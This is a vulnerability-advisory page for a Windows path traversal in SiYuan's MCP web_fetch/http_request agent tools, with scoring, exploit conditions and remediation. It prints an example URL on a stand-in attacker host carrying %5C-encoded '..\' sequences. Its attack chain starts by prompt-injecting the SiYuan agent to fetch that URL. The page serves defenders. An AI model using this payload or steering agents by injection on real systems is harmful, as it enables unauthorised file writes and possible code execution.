Skip to main content

SiYuan EUVDEUVD-2026-123770

| CVE-2026-126776 MEDIUM
Path Traversal (CWE-22)
2026-11-11 VulnCheck GHSA-fgx6-mcm3-mrhr
6.0
CVSS 4.0 · Vendor: VulnCheck
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Prompt-inject Windows SiYuan MCP agent
  2. Delivery
    Steer web_fetch/http_request to attacker-controlled URL
  3. Exploit
    Serve response named with %5C-encoded ..\ sequence
  4. Execution
    path.Base/filepath.Join escapes temp/import
  5. Impact
    Write attacker bytes to writable auto-run location

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V5 - File Handling Path canonicalization, traversal prevention
MITRE ATT&CK

2 techniques across 2 tactics: Discovery, Collection

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Windows only - on Linux/macOS the backslash stays part of the filename and the write remains inside import/. Affected builds are SiYuan 3.7.0 through 3.8.9, and the SiYuan MCP/agent tools web_fetch or http_request must be in use to fetch a non-text response. The attacker must control (or be able to redirect the agent to) a URL whose host passes SiYuan's CheckHostSSRF validation (i.e. a reachable public host), typically achieved by steering the agent via prompt injection; GET fetches reportedly save without a user confirmation prompt (UI is passive/agent-mediated, AT:P). Limiting factors: writes are directory-relative (..\ only, no absolute paths) above temp/import and confined to locations writable by the SiYuan user; impact is file write (integrity) only, and escalation to code execution depends on reaching an auto-run/startup path relative to the Windows TempDir.

Impact

This is a genuine but conditional, medium-severity issue rather than a top-priority emergency. The vendor CVSS 4.0 score of 6.0 (AV:N/AC:L/AT:P/PR:N/UI:P, VI:H only) matches the mechanism: a network-reachable, integrity-only arbitrary file write with no confidentiality (VC:N) or availability (VA:N) impact, gated by a specific attack requirement (AT:P) and passive user/agent interaction (UI:P). Reinforcing the lower-urgency read: there is no CISA KEV listing (so not confirmed actively exploited), no EPSS probability was supplied in the input, and the vuln.today decision label is 'this_month' - not 'act_now' or 'emergency'. A public PoC reference exists via the GHSA advisory and VulnCheck, but it is not verified as working end-to-end exploit code (the author demonstrated only the extractFilename/filepath.Join/os.WriteFile logic on Linux and under Wine, explicitly not against a real Windows install behind a host that passes the SSRF check). The signals are consistent - no conflict between them - and all point to a real-but-narrow risk: exploitation is Windows-only, requires the SiYuan MCP web_fetch/http_request tools to be in use, and requires an attacker to get an agent to fetch a malicious URL (realistically via prompt injection). The VI:H integrity impact is the write itself; escalation to code execution (e.g., dropping into a startup/auto-run location) is plausible but downstream and environment-dependent, not demonstrated. Priority should be driven by whether Windows SiYuan with agent/MCP tooling is actually deployed.

Exploit ScenarioDerived

An attacker who can influence a URL that a SiYuan MCP/agent client fetches on Windows (for example through prompt injection in content the agent processes) points the web_fetch or http_request tool at a host like http://attacker.example/..%5C..%5Cescaped.exe. Because extractFilename uses path.Base, which ignores backslashes, the %5C-decoded name '..\..\escaped.exe' survives and filepath.Join on Windows resolves it to a location two directories above temp/import, where os.WriteFile drops attacker-controlled response bytes. A public PoC reference exists but is not verified as working end-to-end exploit code; GET fetches reportedly run without a confirmation prompt, and writing to an auto-run location could lead to code execution as the SiYuan user.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.3% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Nov 11, 2026

Path traversal in SiYuan's MCP/agent tools web_fetch and http_request allows unauthenticated remote attackers to write attacker-controlled response bytes outside the temp/import directory on Windows in versions 3.7.0 through 3.8.9. A fetched URL whose percent-decoded path ends in backslash-encoded '..\' sequences produces a filename that path.Base leaves intact, and filepath.Join on Windows treats it as a directory separator with no containment check afterwards; Linux and macOS are not affected because the backslash remains part of the filename. Impact is limited to file write (integrity) at directory-relative locations writable by the SiYuan user, with escalation to code execution only if a reached path is auto-run; exploitation requires an agent to fetch an attacker-influenced URL (typically via prompt injection), and a public PoC reference exists that reproduces the filename/join logic but is not verified as working end-to-end exploit code. The vendor fixed the issue in v3.8.10.

RemediationAI

Vendor-released patch: upgrade to SiYuan v3.8.10 or later (release https://github.com/siyuan-note/siyuan/releases/tag/v3.8.10, fix commit https://github.com/siyuan-note/siyuan/commit/94d6a42a0362c0a6938a29ab84addb1fe0aca21c); the fix replaces the unsafe filepath.Join/os.WriteFile sequence in webfetch.go and httprequest.go with saveImportedFile, which normalizes backslashes, rejects non-plain filenames and verifies the target is a sub-path of temp/import. Until upgrading, Windows users who do not need agent/MCP-driven fetching can avoid exposing web_fetch and http_request to untrusted content, since the attack path depends on an agent being steered to an attacker-controlled URL on a host that passes the SSRF host checks; running SiYuan under an account whose TempDir sits on a path without auto-run or startup locations reduces the chance that the directory-relative write is later executed, at the cost of tighter filesystem permissions. Because writes are relative only (no absolute paths) and stay within directories writable by the SiYuan user, restricting that account's write access to the TempDir tree limits reachability of sensitive targets. Note that the vendor's advisory treats the code change itself as the fix and no separate configuration toggle is documented.

Affected VersionsENISA

SiYuan 3.7.0 <3.8.10

Affected Packages

euvd siyuan fix: 3.8.10

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

SiYuan is a Go-based note-taking application whose kernel exposes web_fetch and http_request tooling to MCP/agent clients. In kernel/util/webfetch.go (extractFilename, around line 166, used at webfetch.go:97 and httprequest.go:356-358), the save filename is derived as path.Base of the percent-decoded URL path. Go's path package treats only forward slashes as separators, so a request such as http://attacker.example/..%5C..%5Cescaped.exe decodes to a name of '..\..\escaped.exe'; on Windows, filepath.Join interprets the backslashes as separators and cleans the result, so os.WriteFile lands above TempDir/import with no post-join containment check. This is CWE-22 (improper limitation of a pathname to a restricted directory). The SSRF validation in the fetch path checks only the host, not the resulting filename, and the fallback extension is taken from the URL path or the response Content-Type. The vendor fix introduces saveImportedFile, which normalizes backslashes to '/' before taking the basename, rejects names containing separators, '..', trailing dots, control characters or Windows device names via isValidImportName, and verifies the final path with gulu.File.IsSubPath before writing; regression tests cover backslash and %2F variants plus an end-to-end agent download. The CVSS 4.0 vector assigns AT:P and UI:P, reflecting that the fetch is agent-mediated and reportedly saved without a confirmation prompt for GET requests, while the independently assessed CVSS 3.1 vector is AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N with no confidentiality or availability impact. Authentication is not required (PR:N), but Windows-only deployment plus use of the MCP fetch tools and a URL on a host that passes CheckHostSSRF are prerequisites.

Know when Siyuan gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulnCheck) PRIMARY 6.0 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N
vuln.today AI 6.5 MEDIUM

Remote attacker-controlled URL (AV:N) needs no app authentication (PR:N) but relies on the agent fetching it (UI:R); impact is an arbitrary file write, so I:H with C:N/A:N.

3.1 AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N
4.0 AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N

Primary rating from Vendor (VulnCheck).

CVSS VectorVendor: VulnCheck

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
Present
Privileges Required
None
User Interaction
Passive
Vulnerable system: Confidentiality
None
Vulnerable system: Integrity
High
Vulnerable system: Availability
None
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

DescriptionCVE.org

SiYuan 3.7.0 before 3.8.10 on Windows contains a path traversal vulnerability in kernel/util/webfetch.go that allows attackers to write files outside the import directory via backslash-encoded filenames. Attackers controlling a URL fetched by the MCP web_fetch or http_request tools can use %5C-encoded ..\ sequences to write chosen response bytes to directories above temp/import that are writable by the SiYuan user.

Threat Intelligence Overview

EPSS Score
0.3%
Top 71% exploitable
Prevalence
Low
niche open-source personal knowledge/note app, limited enterprise production footprint
Social Media
1
Sightings
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.3%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

30
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +30
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Path traversal exploits occur when applications use user-controlled input to construct file system paths without proper validation.

More in Siyuan

View all
CVE-2026-69083 CRITICAL POC
9.9 Aug 03

SQL injection in SiYuan's fullTextSearchAssetContent endpoint lets unauthenticated attackers and holders of publish Role

CVE-2026-54067 CRITICAL POC
9.9 Jun 24

Stored cross-site scripting in SiYuan personal knowledge management before 3.7.0 lets an attacker with write access to a

CVE-2026-69084 CRITICAL POC
9.9 Aug 03

SQL injection in SiYuan personal knowledge management (versions <= v3.7.2) lets attackers pass arbitrary SQL statements

CVE-2026-54158 CRITICAL POC
9.9 Jun 24

Stored cross-site scripting in SiYuan's attribute-view (database) cell renderer, affecting all versions prior to 3.7.0,

CVE-2026-69085 CRITICAL POC
9.9 Aug 03

SQL injection in SiYuan personal knowledge-management software (all versions before v3.7.3) lets attackers inject arbitr

CVE-2024-53507 CRITICAL POC
9.8 Nov 29

A SQL injection vulnerability was discovered in Siyuan 3.1.11 in /getHistoryItems. Rated critical severity (CVSS 9.8), t

CVE-2024-53506 CRITICAL POC
9.8 Nov 29

A SQL injection vulnerability has been identified in Siyuan 3.1.11 via the ids array parameter in /batchGetBlockAttrs. R

CVE-2024-53505 CRITICAL POC
9.8 Nov 29

A SQL injection vulnerability has been identified in Siyuan 3.1.11 via the id parameter at /getAssetContent. Rated criti

CVE-2024-53504 CRITICAL POC
9.8 Nov 29

A SQL injection vulnerability has been identified in Siyuan 3.1.11 via the notebook parameter in /searchHistory. Rated c

CVE-2026-23852 CRITICAL POC
9.6 Jan 19

SiYuan personal knowledge management system prior to 3.5.4 has a stored XSS vulnerability (CVSS 9.6) that allows code ex

CVE-2026-56397 CRITICAL POC
9.4 Jun 21

Remote code execution in SiYuan note-taking application (before v3.6.1) allows any malicious Bazaar marketplace package

CVE-2026-54069 CRITICAL POC
9.2 Jun 24

Origin-validation bypass in SiYuan Note (open-source personal knowledge management) before 3.7.0 lets any installed Chro

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy